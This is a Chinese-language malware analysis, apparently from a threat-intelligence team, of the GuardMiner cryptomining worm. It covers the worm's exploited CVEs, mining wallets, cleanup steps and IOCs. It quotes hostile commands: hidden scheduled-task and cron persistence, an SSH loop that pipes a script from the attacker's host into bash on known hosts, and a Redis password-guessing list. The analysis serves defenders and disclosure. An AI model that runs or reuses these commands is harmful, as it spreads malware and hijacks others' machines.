security-4498306_640

GuardMiner 挖矿木马近期活跃,具备蠕虫化主动攻击能力,已有较多企业中招

  • 浏览次数 30804
  • 喜欢 0
  • 评分 12345

感谢腾讯御见威胁情报中心来稿!

原文链接:https://mp.weixin.qq.com/s/-nUrNilr-iq7kbmopaqXwA

 

概述

腾讯安全威胁情报中心检测到跨平台挖矿木马GuardMiner近期十分活跃,该木马会扫描攻击Redis、Drupal、Hadoop、Spring、thinkphp、WebLogic、SQLServer、Elasticsearch多个服务器组件漏洞,并在攻陷的Windows和Linux系统中分别执行恶意脚本init.ps1,init.sh,恶意脚本会进一步下载门罗币挖矿木马、清除竞品挖矿木马并进行本地持久化运行。在Linux系统上利用SSH连接和Redis弱口令爆破进行内网扩散攻击。因挖矿守护进程使用文件名为sysguard、sysguerd、phpguard,腾讯安全威胁情报中心将该挖矿木马命名为GuardMiner。因该病毒已具备蠕虫化主动攻击扩散的能力,近期已有较多企业中招。

样本分析

1、init.ps1攻击Windows系统,从服务器下载挖矿进程phpupdate.exe,配置文件config.json,扫描攻击进程networkmanager.exe,持久化脚本newdat.ps1,挖矿守护进程phpguard.exe,清理脚本clean.bat。

1

2、init.sh攻击Linux系统,从服务器下载挖矿进程phpupdate,配置文件config.json,持久化脚本newdat.sh,扫描攻击进程networkmanager,挖矿守护进程phpuguard。

2

3、门罗币挖矿进程phpupdate.exe占用CPU接近100%:

3

挖矿使用的三组矿池和钱包分别如下:
xmr.f2pool.com:13531
43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR.v520

xmr-eu2.nanopool.org:14444
43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR.v520

randomxmonero.hk.nicehash.com:3380
3HVQkSGfvyyQ8ACpShBhegoKGLuTCMCiAr.v520

4

4、清除竞品挖矿木马文件:

5

5、phpguard.exe、phpguard负责守护挖矿进程,进程退出后立即重启:

6

6、在Windows系统上通过安装计划任务持久化,每隔30分钟执行一次newdat.ps1:

SchTasks.exe /Create /SC MINUTE /TN "Update service for Windows Service" /TR "PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -File $HOME\newdat.ps1" /MO 30 /F

在Linux系统上通过定时任务持久化,每隔30分钟执行一次newdat.sh:
crontab -l ; echo "*/30 * * * * sh /etc/newdat.sh >/dev/null 2>&1"

 

7、在Linux系统上还会通过sshown_hosts获取登录过的机器IP,建立SSH连接并执行远程shell脚本is.sh,进行内网扩散攻击:

`if [ -f /root/.sshown_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE “\b([0-9]{1,3}\.){3}[0-9]{1,3}\b” /root/.sshown_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h ‘curl -o-  http[:]//global.bitmex.com.de/cf67355a3333e6/is.sh | bash >/dev/null 2>&1 &’ & done
fi`

is.sh接着安装扫描工具Pnscan和Masscan针对全网段IP范围进行6379端口(Redis服务)扫描,并通过Redis弱口令爆破(密码字典:redis、root、oracle、password、p@aaw0rd、abc123、abc123!、123456、admin)以及未授权访问漏洞感染执行init.sh:
78
8、Windows系统上执行networkmanager.exe,Linux系统上执行networkmanager,开启漏洞扫描和利用攻击,针对以下服务器组件,攻击成功后在Windows系统执行Powershell脚本,在Linux系统执行shell脚本进行进行感染:Redis未授权访问漏洞;
Drupal框架CVE-2018-7600漏洞;
Hadoop未授权漏洞;
Spring框架CVE-2018-1273漏洞;
thinkphp框架TP5高危漏洞;
WebLogic框架CVE-2017-10271漏洞;
SQLServer框架xcmd_shell、SP_OACreate注入提权漏洞;
Elasticsearch框架CVE-2015-1427、CVE-2014-3120远程代码执行漏洞。

9

 

病毒清除建议:
1.Windows系统用户推荐使用腾讯T-sec终端安全管理系统(腾讯御点)查杀;

2.Linux系统用户可按以下步骤手动清除:
a.检查tmp、etc目录下是否具有以下文件,杀死对应的进程并删除文件:
/tmp/phpupdate
/tmp/networkmanager
/tmp/phpguard
/tmp/newdat.sh
/tmp/config.json
/etc/phpupdate
/etc/networkmanager
/etc/config.json
/etc/newdat.sh

b.检查crontab计划任务中是否包含执行”/tmp/newdat.sh”相关代码,如有删除该定时任务。

IOCs

IP
185.247.117.64
209.182.218.161
178.157.91.26
146.71.79.230
43.245.222.57

URL
http[:]//185.247.117.64/cf67355/phpupdate
http[:]//global.bitmex.com.de/cf67355a3333e6/phpupdate
http[:]//185.247.117.64/cf67355/newdat.sh
http[:]//global.bitmex.com.de/cf67355a3333e6/newdat.sh
http[:]//185.247.117.64/cf67355/config.json
http[:]//global.bitmex.com.de/cf67355a3333e6/config.json
http[:]//185.247.117.64/cf67355/networkmanager
http[:]//global.bitmex.com.de/cf67355a3333e6/networkmanager
http[:]//185.247.117.64/cf67355/phpguard
http[:]//global.bitmex.com.de/cf67355a3333e6/phpguard
http[:]//185.247.117.64/cf67355/phpupdate.exe
http[:]//global.bitmex.com.de/cf67355a3333e6/phpupdate.exe
http[:]//185.247.117.64/cf67355/config.json
http[:]//global.bitmex.com.de/cf67355a3333e6/config.json
http[:]//185.247.117.64/cf67355/networkmanager.exe
http[:]//global.bitmex.com.de/cf67355a3333e6/networkmanager.exe
http[:]//185.247.117.64/cf67355/newdat.ps1
http[:]//global.bitmex.com.de/cf67355a3333e6/newdat.ps1
http[:]//185.247.117.64/cf67355/phpguard.exe
http[:]//global.bitmex.com.de/cf67355a3333e6/phpguard.exe
http[:]//185.247.117.64/cf67355/clean.bat
http[:]//global.bitmex.com.de/cf67355a3333e6/clean.bat